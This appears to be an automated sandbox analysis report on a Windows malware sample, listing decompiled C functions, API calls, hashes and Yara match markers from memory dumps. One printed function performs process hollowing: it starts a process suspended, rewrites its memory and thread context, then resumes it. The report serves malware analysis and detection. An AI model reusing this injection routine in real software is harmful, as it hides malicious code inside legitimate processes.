Memory Dump Source

Source File: 0000001F.00000002.396788958.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: ___crt_fast_error_exit$CreateEnvironmentExitHeapInitializeProcessStrings___wsetargv__cinit__heap_init__mtinit__wsetenvp__wwincmdln_check_managed_app
String ID:
API String ID: 2562088257-0
Opcode ID: fa2c6c84ac1991205bfe23444f18f047f0a8ba458789687b5189e0f685abd138
Instruction ID: 9ea884b020d1b2d110705dd001ba92002bc56ac98be7529b0fd65495c91f3a1c
Opcode Fuzzy Hash: fa2c6c84ac1991205bfe23444f18f047f0a8ba458789687b5189e0f685abd138
Instruction Fuzzy Hash: 584199B1E00325ABD710AFA2EE0279E76B4AB0470CF90053EF505A7292E7BD5505CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 0054003C, Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0054024D

Strings

kernel32.dll, xrefs: 0054008F, 00540095
cess, xrefs: 0054018D

Memory Dump Source

Source File: 0000001F.00000002.396894340.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction ID: a4351ff8816cb361511761c9d6ed7a88eec2b58d946cd41f2843bb69fd5514d7
Opcode Fuzzy Hash: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction Fuzzy Hash: 15526974A01229DFDB64CF58C985BA8BBB1BF09304F1480D9E94DAB291DB30AE85DF15

Uniqueness

Uniqueness Score: -1.00%

Function 0040977C, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 82
threadinjectionprocessCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E0040977C(void* __ecx, CHAR* _a4) {
				struct _PROCESS_INFORMATION _v20;
				void _v24;
				char _v28;
				struct _STARTUPINFOA _v96;
				struct _CONTEXT _v812;
				int _t26;
				int _t30;
				void* _t33;
				int _t39;
				int _t42;

				_t46 = __ecx;
				E0040EE2A(__ecx,  &_v96, 0, 0x44);
				_v96.cb = 0x44;
				_t26 = CreateProcessA(0, _a4, 0, 0, 0, 4, 0, 0,  &_v96,  &_v20); // executed
				if(_t26 != 0) {
					E0040EE2A(_t46,  &_v812, 0, 0x2cc);
					_v812.ContextFlags = 0x10002;
					_t30 = GetThreadContext(_v20.hThread,  &_v812); // executed
					if(_t30 != 0) {
						_t33 = E0040637C(_entry_, _v20.hProcess,  &_v28,  &_v24); // executed
						_push(0);
						if(_t33 == 0) {
							L4:
							TerminateProcess(_v20.hProcess, ??);
							goto L1;
						}
						_t39 = WriteProcessMemory(_v20, _v812.Ebx + 8,  &_v24, 4, ??); // executed
						if(_t39 == 0) {
							goto L3;
						}
						_v812.Eax = _v28;
						_t42 = SetThreadContext(_v20.hThread,  &_v812); // executed
						if(_t42 == 0) {
							goto L3;
						}
						ResumeThread(_v20.hThread); // executed
						return 1;
					}
					L3:
					_push(0);
					goto L4;
				}
				L1:
				return 0;
			}

0x0040977c
0x0040978f
0x004097a9
0x004097b1
0x004097b9
0x004097cf
0x004097e1
0x004097eb
0x004097f3
0x00409811
0x00409819
0x0040981c
0x004097f6
0x004097f9
0x00000000
0x004097f9
0x00409831
0x00409839
0x00000000
0x00000000
0x0040983e
0x0040984e
0x00409856
0x00000000
0x00000000
0x0040985b
0x00000000
0x00409863
0x004097f5
0x004097f5
0x00000000
0x004097f5
0x004097bb
0x00000000

APIs

CreateProcessA.KERNELBASE ref: 004097B1
GetThreadContext.KERNELBASE(?,?,?,?,?,?,?,004122F8), ref: 004097EB
TerminateProcess.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,004122F8), ref: 004097F9
WriteProcessMemory.KERNELBASE(?,?,?,00000004,00000000,?,?,?,?,?,?,?,?,?,004122F8), ref: 00409831
SetThreadContext.KERNELBASE(?,00010002,?,?,?,?,?,?,?,?,?,004122F8), ref: 0040984E
ResumeThread.KERNELBASE(?,?,?,?,?,?,?,?,?,?,004122F8), ref: 0040985B

Strings

D, xrefs: 004097A9

Memory Dump Source

Source File: 0000001F.00000002.396765412.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ProcessThread$Context$CreateMemoryResumeTerminateWrite
String ID: D
API String ID: 2981417381-2746444292
Opcode ID: bfc8fb38e21afcc8978dd871529b03129cc6a272bb135abfd583736d5c6f917f
Instruction ID: 6dc29e085b1385aad622296cf5a9b119a202239bcf48ce0aeeb22bf7d7f748db
Opcode Fuzzy Hash: bfc8fb38e21afcc8978dd871529b03129cc6a272bb135abfd583736d5c6f917f
Instruction Fuzzy Hash: 54216DB2901119BBDB119FA1DC49EEF7B7CEF05750F004071B909F2191EB759A44CAA8

Uniqueness

Uniqueness Score: -1.00%

Function 00433590, Relevance: 7.8, APIs: 5, Instructions: 255COMMON

Download Yara Rule

APIs

getSystemCP.LIBCMTD ref: 004335A7

Part of subcall function 00433480: _LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004334EE

setSBCS.LIBCMTD ref: 004335BC
setSBUpLow.LIBCMTD ref: 00433718

Memory Dump Source

Source File: 0000001F.00000002.396788958.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: Locale$SystemUpdateUpdate::~_
String ID:
API String ID: 2101441384-0
Opcode ID: 74cf1c04967751aaad768f1f3c872cf66befbe84d5bec7d69e1e6011141dd61a
Instruction ID: 31b82d65da41c1a2044a18e60cd2a1daba299c39737a5f0df7d7a21154b222a0
Opcode Fuzzy Hash: 74cf1c04967751aaad768f1f3c872cf66befbe84d5bec7d69e1e6011141dd61a
Instruction Fuzzy Hash: 3DB17AB4904119EFDB08CF54C480AAEBBB1BF48306F24D55AE8266B341C339EB45DF89

Uniqueness

Uniqueness Score: -1.00%

Function 00404280, Relevance: 7.6, APIs: 5, Instructions: 124
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404280(void* __ecx, intOrPtr _a4) {
				void* _v8;
				unsigned int _v12;
				unsigned int _v16;
				void* _v20;
				intOrPtr _v24;
				char _v28;
				signed int _t35;
				signed int _t38;
				signed int _t39;
				signed int _t40;
				void* _t67;
				void* _t68;
				void* _t73;
				intOrPtr* _t74;

				_t68 = __ecx;
				_t35 = CreateEventA(0, 1, 1, 0);
				_v8 = _t35;
				if(_t35 != 0) {
					_t38 = E00404000(E00403ECD(_t68),  &_v20);
					if(_t38 == 0) {
						L11:
						_t39 = FindCloseChangeNotification(_v8); // executed
						_t40 = _t39 | 0xffffffff;
						L12:
						return _t40;
					}
					_t67 = _v20;
					_t40 = _t38 | 0xffffffff;
					if(_t67 == _t40) {
						goto L12;
					}
					_v16 = E0040ECA5();
					E00403F18(_t67,  &_v16, 4, _v8, 0x7d0);
					if(E00403F8C(_t67,  &_v12, 4, _v8, 0x7d0) == 0 || _v12 != (_v16 >> 2) + _v16) {
						CloseHandle(_t67);
						goto L11;
					} else {
						_v12 = _v12 + (_v12 >> 2);
						E00403F18(_t67,  &_v12, 4, _v8, 0x7d0);
						_v28 = 1;
						_t73 = 0xc;
						_v24 = 1;
						E00403F18(_t67,  &_v28, 8, _v8, 0x7d0);
						_t74 = E0040EBCC(_t73);
						 *_t74 = 0x61;
						 *((intOrPtr*)(_t74 + 4)) = 2;
						if(_a4 != 0) {
							 *(_t74 + 8) =  *(_t74 + 8) & 0x00000000;
							 *0x41215a =  *0x41215a + 1;
						} else {
							 *(_t74 + 8) = 1;
						}
						E00403F18(_t67, _t74, _v24, _v8, 0x7d0);
						E0040EC2E(_t74);
						E00403F8C(_t67,  &_v12, 4, _v8, 0x7d0);
						CloseHandle(_v8);
						CloseHandle(_t67);
						_t40 = 0 | _a4 == 0x00000000;
						goto L12;
					}
				}
				return _t35 | 0xffffffff;
			}

0x00404280
0x00404290
0x00404296
0x0040429b
0x004042b1
0x004042ba
0x004043c1
0x004043c4
0x004043ca
0x004043cd
0x00000000
0x004043ce
0x004042c0
0x004042c3
0x004042c8
0x00000000
0x00000000
0x004042dc
0x004042e6
0x00404300
0x004043bb
0x00000000
0x00404318
0x00404322
0x0040432c
0x00404333
0x00404336
0x00404342
0x00404345
0x00404350
0x00404359
0x0040435f
0x00404366
0x00404371
0x00404375
0x00404368
0x00404368
0x00404368
0x00404384
0x0040438a
0x0040439a
0x004043ab
0x004043ae
0x004043b5
0x00000000
0x004043b5
0x00404300
0x00000000

APIs

CreateEventA.KERNEL32(00000000,00000001,00000001,00000000,00000000,?,004098FD,00000001,00000100,004122F8,0040A3C7), ref: 00404290
CloseHandle.KERNEL32(0040A3C7), ref: 004043AB
CloseHandle.KERNEL32(00000001), ref: 004043AE

Memory Dump Source

Source File: 0000001F.00000002.396765412.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CloseHandle$CreateEvent
String ID:
API String ID: 1371578007-0
Opcode ID: 1ca6cf8784600e63233360972df8e8f73f6c7624b12c89556f18688b41653a7a
Instruction ID: 96190e95dfac0256a72039fb05246d043f10f1ed4b28fe2ef93a25e2cd6a7057
Opcode Fuzzy Hash: 1ca6cf8784600e63233360972df8e8f73f6c7624b12c89556f18688b41653a7a
Instruction Fuzzy Hash: D94181B1900209BADB109BA2CD45FDFBFBCEF40355F104566F604B21C1D7789A51DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00434A70, Relevance: 4.6, APIs: 3, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

___crtExitProcess.LIBCMTD ref: 00434A95

Part of subcall function 00430250: ___crtCorExitProcess.LIBCMTD ref: 00430259

RtlAllocateHeap.NTDLL(00455F1C,00000000,00000001), ref: 00434AC8

Memory Dump Source

Source File: 0000001F.00000002.396788958.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: ExitProcess___crt$AllocateHeap
String ID:
API String ID: 215841669-0
Opcode ID: b489a9742a8fa1842975edc43eb9dde78b4a0323e731f04b9fc37055c0587a8d
Instruction ID: aa4f5c7336e0282ff01d3d3d00c0cd52f31cb0cbf053d8ddb5dd5a84429638b5
Opcode Fuzzy Hash: b489a9742a8fa1842975edc43eb9dde78b4a0323e731f04b9fc37055c0587a8d
Instruction Fuzzy Hash: FF11C875800208EBDB10EF64D8957EE37B4EB88309F14916AF9054B392D378FA84CB9D

Uniqueness

Uniqueness Score: -1.00%

Function 00404000, Relevance: 4.5, APIs: 3, Instructions: 35
sleepfileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404000(CHAR* _a4, signed int* _a8) {
				void* _t3;
				long _t6;
				void* _t8;
				signed int* _t9;

				_t9 = _a8;
				_t8 = 0;
				 *_t9 =  *_t9 | 0xffffffff;
				while(1) {
					_t3 = CreateFileA(_a4, 0xc0000000, 3, 0, 3, 0x40000080, 0); // executed
					if(_t3 != 0xffffffff) {
						break;
					}
					_t6 = GetLastError();
					if(_t6 == 2 || _t6 == 3) {
						L6:
						return 0;
					} else {
						if(_t6 == 5) {
							L9:
							return 1;
						}
						Sleep(0x1f4);
						_t8 = _t8 + 1;
						if(_t8 < 0xa) {
							continue;
						}
						goto L6;
					}
				}
				 *_t9 = _t3;
				goto L9;
			}

APIs

CreateFileA.KERNELBASE(40000080,C0000000,00000003,00000000,00000003,40000080,00000000,00000001,004122F8,004042B6,00000000,00000001,004122F8,00000000,?,004098FD), ref: 00404021
GetLastError.KERNEL32(?,004098FD,00000001,00000100,004122F8,0040A3C7), ref: 0040402C
Sleep.KERNEL32(000001F4,?,004098FD,00000001,00000100,004122F8,0040A3C7), ref: 00404046

Memory Dump Source

Source File: 0000001F.00000002.396765412.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CreateErrorFileLastSleep
String ID:
API String ID: 408151869-0
Opcode ID: 6f680220710ad79833a0587a74a8d4d803d4b32c880204d479e51cf724750932
Instruction ID: 3804347f6bd7ba573f3b83e06e35dce69dd086f5e0a34025cfebbc3953b0dfe0
Opcode Fuzzy Hash: 6f680220710ad79833a0587a74a8d4d803d4b32c880204d479e51cf724750932
Instruction Fuzzy Hash: 05F0A771240101AAD7311B24BC49B5B36A1DBC6734F258B76F3B5F21E0C67458C19B1D

Uniqueness

Uniqueness Score: -1.00%

Function 0040EC54, Relevance: 4.5, APIs: 3, Instructions: 24
timeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040EC54() {
				long _v8;
				struct _FILETIME _v16;
				signed int _t11;

				GetSystemTimeAsFileTime( &_v16);
				GetVolumeInformationA(0, 0, 4,  &_v8, 0, 0, 0, 0); // executed
				_t11 = (GetTickCount() ^ _v16.dwHighDateTime ^ _v8) & 0x7fffffff;
				 *0x4136cc = _t11;
				return _t11;
			}

0x0040ec5e
0x0040ec72
0x0040ec84
0x0040ec89
0x0040ec8f

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 0040EC5E
GetVolumeInformationA.KERNELBASE(00000000,00000000,00000004,?,00000000,00000000,00000000,00000000), ref: 0040EC72
GetTickCount.KERNEL32 ref: 0040EC78

Memory Dump Source

Source File: 0000001F.00000002.396765412.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Time$CountFileInformationSystemTickVolume
String ID:
API String ID: 1209300637-0
Opcode ID: 317f96d9bc7de3e67904a91eb6120da1bd741d4a36fd8a43a77db32c5f55538a
Instruction ID: 1673bc13977c8672636575d9c8a2f9c2942a42ce341afdc75306ae3be589e196
Opcode Fuzzy Hash: 317f96d9bc7de3e67904a91eb6120da1bd741d4a36fd8a43a77db32c5f55538a
Instruction Fuzzy Hash: 6BE0BFF5810104FFEB11EBB0EC4EEBB7BBCFB08315F504661B915D6090DAB49A448B64

Uniqueness

Uniqueness Score: -1.00%

Function 00432020, Relevance: 3.3, APIs: 2, Instructions: 326COMMON

Download Yara Rule

APIs

__nh_malloc_dbg.LIBCMTD ref: 004320AB
__nh_malloc_dbg.LIBCMTD ref: 004321D7

Memory Dump Source

Source File: 0000001F.00000002.396788958.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: __nh_malloc_dbg
String ID:
API String ID: 2526938719-0
Opcode ID: 2523984899b5f2cfb0bfd38f1889a93eedc8d048b96723a1eb84780ea3d00943
Instruction ID: 7106269ef73f95c68b5f0664ebf9c15fcd685bd1b3e545523b9ddbb3ec6b6944
Opcode Fuzzy Hash: 2523984899b5f2cfb0bfd38f1889a93eedc8d048b96723a1eb84780ea3d00943
Instruction Fuzzy Hash: 0CE11774E04248CFDB24CFA8C994BADBBB1BB4D314F24825ED8656B392C7789842CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00406E36, Relevance: 3.1, APIs: 2, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406E36(intOrPtr _a4, intOrPtr _a8) {
				long _v8;
				long _v12;
				union _SID_NAME_USE _v16;
				intOrPtr _v60;
				intOrPtr _v76;
				void _v84;
				short _v340;
				short _v860;
				int _t20;
				int _t28;
				intOrPtr _t30;
				signed int _t31;
				signed int _t32;

				_t32 = _t31 | 0xffffffff;
				_v8 = 0x104;
				_t20 = GetUserNameW( &_v860,  &_v8); // executed
				if(_t20 != 0) {
					_v8 = 0x7c;
					_v12 = 0x80;
					_t28 = LookupAccountNameW(0,  &_v860,  &_v84,  &_v8,  &_v340,  &_v12,  &_v16); // executed
					if(_t28 != 0) {
						if(_v8 < 0xc || _v76 != _a4) {
							L8:
							_t32 = 1;
						} else {
							_t30 = _a8;
							if(_t30 == 0 || _v8 >= 0x1c && _v60 == _t30) {
								_t32 = 0;
							} else {
								goto L8;
							}
						}
					}
				}
				return _t32;
			}

0x00406e4b
0x00406e4e
0x00406e55
0x00406e5d
0x00406e7f
0x00406e86
0x00406e8d
0x00406e95
0x00406e9b
0x00406ebb
0x00406ebd
0x00406ea5
0x00406ea5
0x00406eaa
0x00406eb7
0x00000000
0x00000000
0x00000000
0x00406eaa
0x00406e9b
0x00406e95
0x00406ec2

APIs

GetUserNameW.ADVAPI32(?,00401FA1), ref: 00406E55
LookupAccountNameW.ADVAPI32(00000000,?,?,00000104,?,00000000,00000012), ref: 00406E8D

Memory Dump Source

Source File: 0000001F.00000002.396765412.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Name$AccountLookupUser
String ID:
API String ID: 2370142434-0
Opcode ID: 72898ebcb6f81f1198030622a9bf6313c93c94cde1355ae2af79125b690e915f
Instruction ID: d69833bf2c7126fc9b7bd4b1d5117f4fe90a033eeaed535c4400ab00b2689cfd
Opcode Fuzzy Hash: 72898ebcb6f81f1198030622a9bf6313c93c94cde1355ae2af79125b690e915f
Instruction Fuzzy Hash: 0211F776900218EBDF21CFD4C884ADFB7BCAB04741F1542B6E502F6290DB749B989BE4

Uniqueness

Uniqueness Score: -1.00%

Function 00540DF8, Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00000400,?,?,00540223,?,?), ref: 00540E02
SetErrorMode.KERNELBASE(00000000,?,?,00540223,?,?), ref: 00540E07

Memory Dump Source

Source File: 0000001F.00000002.396894340.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 17309f01083f84a4a67546b1d5688cdae1751a71bce52f35ee4796e67ce8177b
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 7DD0123114512C77D7002E94DC09BCD7F1C9F05B66F108011FB0DDD181C770995046E5

Uniqueness

Uniqueness Score: -1.00%

Function 00406DC2, Relevance: 1.5, APIs: 1, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406DC2(void* __ecx) {
				char _v261;
				char _v264;
				long _t6;
				intOrPtr* _t10;
				int _t13;
				intOrPtr _t20;
				void* _t21;

				_t6 =  *0x412f0c; // 0x85123cc1
				if(_t6 == 0) {
					E0040EF00( &_v264, E00406CC9(__ecx));
					_t10 =  &_v264;
					_t21 = _t10 + 1;
					do {
						_t20 =  *_t10;
						_t10 = _t10 + 1;
					} while (_t20 != 0);
					if(_t10 - _t21 < 3) {
						L5:
						 *0x412f0c = 0x61616161;
					} else {
						_v261 = 0;
						_t13 = GetVolumeInformationA( &_v264, 0, 0, 0x412f0c, 0, 0, 0, 0); // executed
						if(_t13 == 0) {
							goto L5;
						}
					}
					_t6 =  *0x412f0c; // 0x85123cc1
				}
				return _t6;
			}

APIs

Part of subcall function 00406CC9: GetModuleHandleA.KERNEL32(kernel32,GetSystemWow64DirectoryA,004122F8,000000E4,00406DDC,000000C8), ref: 00406CE7
Part of subcall function 00406CC9: GetProcAddress.KERNEL32(00000000), ref: 00406CEE
Part of subcall function 00406CC9: GetSystemDirectoryA.KERNEL32 ref: 00406D14
Part of subcall function 00406CC9: GetWindowsDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104,?,00000000), ref: 00406D2B

GetVolumeInformationA.KERNELBASE(?,00000000,00000000,00412F0C,00000000,00000000,00000000,00000000,000000C8), ref: 00406E1A

Memory Dump Source

Source File: 0000001F.00000002.396765412.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Directory$AddressHandleInformationModuleProcSystemVolumeWindows
String ID:
API String ID: 1823874839-0
Opcode ID: 345ca179d3c76e57dc7c5b3e21092807213ae32d0ff3695f39e28a6e5ad22b42
Instruction ID: 46d685041afc82653286dae93d5fe3173771f16ecf38a4b71df535c97c95e6ed
Opcode Fuzzy Hash: 345ca179d3c76e57dc7c5b3e21092807213ae32d0ff3695f39e28a6e5ad22b42
Instruction Fuzzy Hash: 55F028B9104218AFD710DB68DDC5ED777ADD704308F008476E242E3141D6B89D984B5C

Uniqueness

Uniqueness Score: -1.00%

Function 00409892, Relevance: 1.5, APIs: 1, Instructions: 23
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409892(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				intOrPtr _t6;
				int _t7;
				signed int _t8;

				_t6 = _a4;
				 *0x413398 = _t6;
				 *0x41339c = 0 | _t6 != 0x00000002;
				 *0x4133a0 = _a8;
				 *0x4133ac = _a12;
				if(_t6 == 4 || _t6 == 1) {
					 *0x4133a8 =  *0x4133a8 & 0x00000000;
				} else {
					_t8 =  *0x41204c; // 0x2
					 *0x41204c =  *0x41204c + 1;
					 *0x4133a8 = _t8;
				}
				_t7 = SetServiceStatus( *0x413390, 0x413394); // executed
				return _t7;
			}

0x00409892
0x0040989e
0x004098a3
0x004098ad
0x004098b7
0x004098c0
0x004098d9
0x004098c7
0x004098c7
0x004098cc
0x004098d2
0x004098d2
0x004098eb
0x004098f1

APIs

SetServiceStatus.ADVAPI32(00413394), ref: 004098EB

Memory Dump Source

Source File: 0000001F.00000002.396765412.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ServiceStatus
String ID:
API String ID: 3969395364-0
Opcode ID: ed568b8bb23c32db7e8f15f5619feefc651b0b7a3ef30a3dcb983adc29e58fc0
Instruction ID: dd676a4af3dd8f9e000b524091363a81fd6157f1888c947a943bd607f736cbf1
Opcode Fuzzy Hash: ed568b8bb23c32db7e8f15f5619feefc651b0b7a3ef30a3dcb983adc29e58fc0
Instruction Fuzzy Hash: 02F0F271514208EFCB18CF14E89869A7BA0F348706B20C83EE82AD2371CB749A80DF0D

Uniqueness

Uniqueness Score: -1.00%

Function 0042E1C0, Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

__encode_pointer.LIBCMTD ref: 0042E1C7

Part of subcall function 0042E0F0: __crt_wait_module_handle.LIBCMTD ref: 0042E13C
Part of subcall function 0042E0F0: RtlEncodePointer.NTDLL(?), ref: 0042E177

Memory Dump Source

Source File: 0000001F.00000002.396788958.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: EncodePointer__crt_wait_module_handle__encode_pointer
String ID:
API String ID: 2010845264-0
Opcode ID: f00befe9f6ce37f0a9e0ee05923ac5330ac6df44ba7645856ef0dc2498812e42
Instruction ID: 3c38e7caae97d1e5341ef89e0561634185a76d071721ecc6512d0ef908c11073
Opcode Fuzzy Hash: f00befe9f6ce37f0a9e0ee05923ac5330ac6df44ba7645856ef0dc2498812e42
Instruction Fuzzy Hash: B4A0126254422823D40020833803F02350C43D0B38E480021F50C051422CC2A4214097

Uniqueness

Uniqueness Score: -1.00%

Function 00422BE0, Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

___security_init_cookie.LIBCMTD ref: 00422BE5

Part of subcall function 00422C00: _check_managed_app.LIBCMTD ref: 00422C7C
Part of subcall function 00422C00: __heap_init.LIBCMTD ref: 00422C86
Part of subcall function 00422C00: _fast_error_exit.LIBCMTD ref: 00422C94
Part of subcall function 00422C00: __mtinit.LIBCMTD ref: 00422C9C
Part of subcall function 00422C00: _fast_error_exit.LIBCMTD ref: 00422CA7
Part of subcall function 00422C00: __RTC_Initialize.LIBCMTD ref: 00422CB9
Part of subcall function 00422C00: ___crtGetEnvironmentStringsW.LIBCMTD ref: 00422CE2
Part of subcall function 00422C00: ___wsetargv.LIBCMTD ref: 00422CEC
Part of subcall function 00422C00: __wsetenvp.LIBCMTD ref: 00422CFF
Part of subcall function 00422C00: __cinit.LIBCMTD ref: 00422D14
Part of subcall function 00422C00: __wwincmdln.LIBCMTD ref: 00422D31

Memory Dump Source

Source File: 0000001F.00000002.396788958.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: _fast_error_exit$EnvironmentInitializeStrings___crt___security_init_cookie___wsetargv__cinit__heap_init__mtinit__wsetenvp__wwincmdln_check_managed_app
String ID:
API String ID: 3809881541-0
Opcode ID: 26bb2ed4e2e2dfabf55f3f66f8c33786636ea2f582c48e8be1acdd1745480f73
Instruction ID: 691437f34af75417842353834bf41f05f7ee4665368fdb7294745590715276a6
Opcode Fuzzy Hash: 26bb2ed4e2e2dfabf55f3f66f8c33786636ea2f582c48e8be1acdd1745480f73
Instruction Fuzzy Hash: 92A0027314465C36055033E7371B91E764D48C473CFE6105BB51C165432CDDAA9140AE

Uniqueness

Uniqueness Score: -1.00%

Function 00540920, Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

TerminateProcess.KERNELBASE(000000FF,00000000), ref: 00540929

Memory Dump Source

Source File: 0000001F.00000002.396894340.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Yara matches

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 7ba80916a48acbfb0f046a5eb73e9b1892c8f9a247d3f52fd2d0df5884ae7060
Instruction ID: c0089d607f9342f2c15a261cd068abafb40f64debc35d3030ca853ef88393cfd
Opcode Fuzzy Hash: 7ba80916a48acbfb0f046a5eb73e9b1892c8f9a247d3f52fd2d0df5884ae7060
Instruction Fuzzy Hash: 879004F07441F051DC3035DC0C01F4500111741775F7037107130FF1D4DF4455000115

Uniqueness

Uniqueness Score: -1.00%

Function 004098F2, Relevance: 1.3, APIs: 1, Instructions: 37
sleepCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E004098F2(void* __ecx) {
				void* _t1;
				void* _t4;
				void* _t5;
				void* _t6;
				void* _t7;
				void* _t15;

				_t5 = __ecx;
				_t6 = 0;
				while(1) {
					_t1 = E00404280(_t5, 1); // executed
					_t7 = _t1;
					_pop(_t5);
					if(_t7 != 0) {
						break;
					}
					Sleep(0x3e8);
					_t6 = _t6 + 1;
					if(_t6 < 0xa) {
						continue;
					} else {
						_t15 = _t7;
					}
					break;
				}
				if(_t15 < 0) {
					_push(0);
					 *0x41201f = 1;
					E0040977C(_t5, E00402544(0x4122f8,  &E0041090C, 0xc, 0xe4, 0xc8)); // executed
					_t4 = E0040EE2A(_t5, 0x4122f8, 0, 0x100);
					 *0x41201f = 0;
					return _t4;
				}
				return _t1;
			}

0x004098f2
0x004098f4
0x004098f6
0x004098f8
0x004098fd
0x004098ff
0x00409902
0x00000000
0x00000000
0x00409909
0x0040990f
0x00409913
0x00000000
0x00409915
0x00409915
0x00409915
0x00000000
0x00409913
0x00409917
0x00409919
0x00409932
0x00409942
0x0040994f
0x00409957
0x00000000
0x00409957
0x00409960

APIs

Part of subcall function 00404280: CreateEventA.KERNEL32(00000000,00000001,00000001,00000000,00000000,?,004098FD,00000001,00000100,004122F8,0040A3C7), ref: 00404290

Sleep.KERNEL32(000003E8,00000100,004122F8,0040A3C7), ref: 00409909

Memory Dump Source

Source File: 0000001F.00000002.396765412.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CreateEventSleep
String ID:
API String ID: 3100162736-0
Opcode ID: 4d41be995d42169e7907864f945f5cc175d4e7c56b3013806251050fc082db50
Instruction ID: e56085e6bf9507d1b9c0d1fa6774ae3e34a200a1ca8b69066151cd7271dcc025
Opcode Fuzzy Hash: 4d41be995d42169e7907864f945f5cc175d4e7c56b3013806251050fc082db50
Instruction Fuzzy Hash: 58F05472A81360A6E62226566C07F8F19040B95B24F05417EF744BA2C395E8495141ED

Uniqueness

Uniqueness Score: -1.00%

Function 0041C4B3, Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNELBASE(00000000,0041CA51,?,?,?,?,00422D65,00400000,00000000,?,0000000A), ref: 0041C4BB

Memory Dump Source

Source File: 0000001F.00000002.396788958.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 20219e7bd8026a9c86021a2c8c5cb1bd84f489be4329c7e0c2d298ceef9aedeb
Instruction ID: 9395c2d7e58cf4def23ca0adf55bc2a3447599e12072a450543ef3d0ea469753
Opcode Fuzzy Hash: 20219e7bd8026a9c86021a2c8c5cb1bd84f489be4329c7e0c2d298ceef9aedeb
Instruction Fuzzy Hash: CDB012744007009BD7000F70AD047043A61A30C343F004034E210901B5E73140009F0C

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00543042, Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 97memorylibrarynetworkCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(iphlpapi.dll), ref: 00543051
LoadLibraryA.KERNEL32(iphlpapi.dll), ref: 00543061
GetProcAddress.KERNEL32(00000000,00410408), ref: 0054307E
RtlAllocateHeap.NTDLL(00000000), ref: 0054309F
htons.WS2_32(00000035), ref: 005430D8
inet_addr.WS2_32(?), ref: 005430E3
gethostbyname.WS2_32(?), ref: 005430F6
HeapFree.KERNEL32(00000000), ref: 00543136

Strings

iphlpapi.dll, xrefs: 0054304B, 00543050, 00543060

Memory Dump Source

Source File: 0000001F.00000002.396894340.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Yara matches

Similarity

API ID: Heap$AddressAllocateFreeHandleLibraryLoadModuleProcgethostbynamehtonsinet_addr
String ID: iphlpapi.dll
API String ID: 2869546040-3565520932
